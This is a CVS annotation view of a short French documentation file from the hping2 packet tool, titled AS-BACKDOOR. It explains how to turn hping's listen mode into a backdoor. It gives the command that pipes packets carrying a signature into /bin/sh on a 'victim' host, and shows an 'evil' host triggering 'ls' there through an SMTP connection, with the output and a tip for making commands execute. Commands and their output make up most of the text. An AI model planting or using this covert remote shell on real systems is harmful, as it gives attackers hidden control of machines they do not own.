Return to AS-BACKDOOR CVS log

Up to [ELWIX - Embedded LightWeight unIX -] / embedaddon / hping2 / docs / french

Annotation of embedaddon/hping2/docs/french/AS-BACKDOOR, revision 1.1.1.1

1.1       misho       1: hping peut être utilisé comme une backdoor (ndt : porte dérobée). Essayez
                      2: juste l'option -9 (--listen) et redirigez via un tube dans /bin/sh :
                      3: 
                      4: Mettez hping en mode listen (ndt : d'écoute) sur le système victime.
                      5: 
                      6: victim# hping -I eth0 -9 mysign | /bin/sh
                      7: 
                      8: Chaque paquet qui contient "mysign" sera traité par hping, tous les octets
                      9: qui suivent "mysign" dans les paquets seront envoyés dans la sortie
                     10: standard, ainsi par exemple je serai capable d'exécuter des commandes en
                     11: utilisant tous types de protocoles. Juste pour exemple je peux utiliser le
                     12: démon smtpd pour exécuter 'ls' sur la victime.
                     13: 
                     14: evil$ telnet victim 25
                     15: 
                     16: Trying 192.168.1.1...
                     17: Connected to nano (192.168.1.1).
                     18: Escape character is '^]'.
                     19: 220 nano.marmoc.net ESMTP Sendmail
                     20: mysignls;
                     21: 
                     22: sur la victime vous verrez :
                     23: 
                     24: victim# hping -I eth0 -9 mysign | /bin/sh
                     25: hping2 listen mode
                     26: bin   cdrom  etc     home  local-home  mnt   root  tmp  var
                     27: boot  dev    export  lib   lost+found  proc  sbin  usr
                     28: : command not found
                     29: 
                     30: Comme vous pouvez le voir j'utilise 'ls;' puisque sinon le shell recevra
                     31: juste ls^M. Le ";" force l'exécution de la commande (du moins avec bash et
                     32: zsh, vérifiez votre shell pour plus d'informations).
                     33: 
                     34: Ceci fonctionne avec tous les types de paquets IP valides non filtrés, le
                     35: niveau supérieur de protocole importe peu.
                     36: 
                     37: antirez <antirez@invece.org>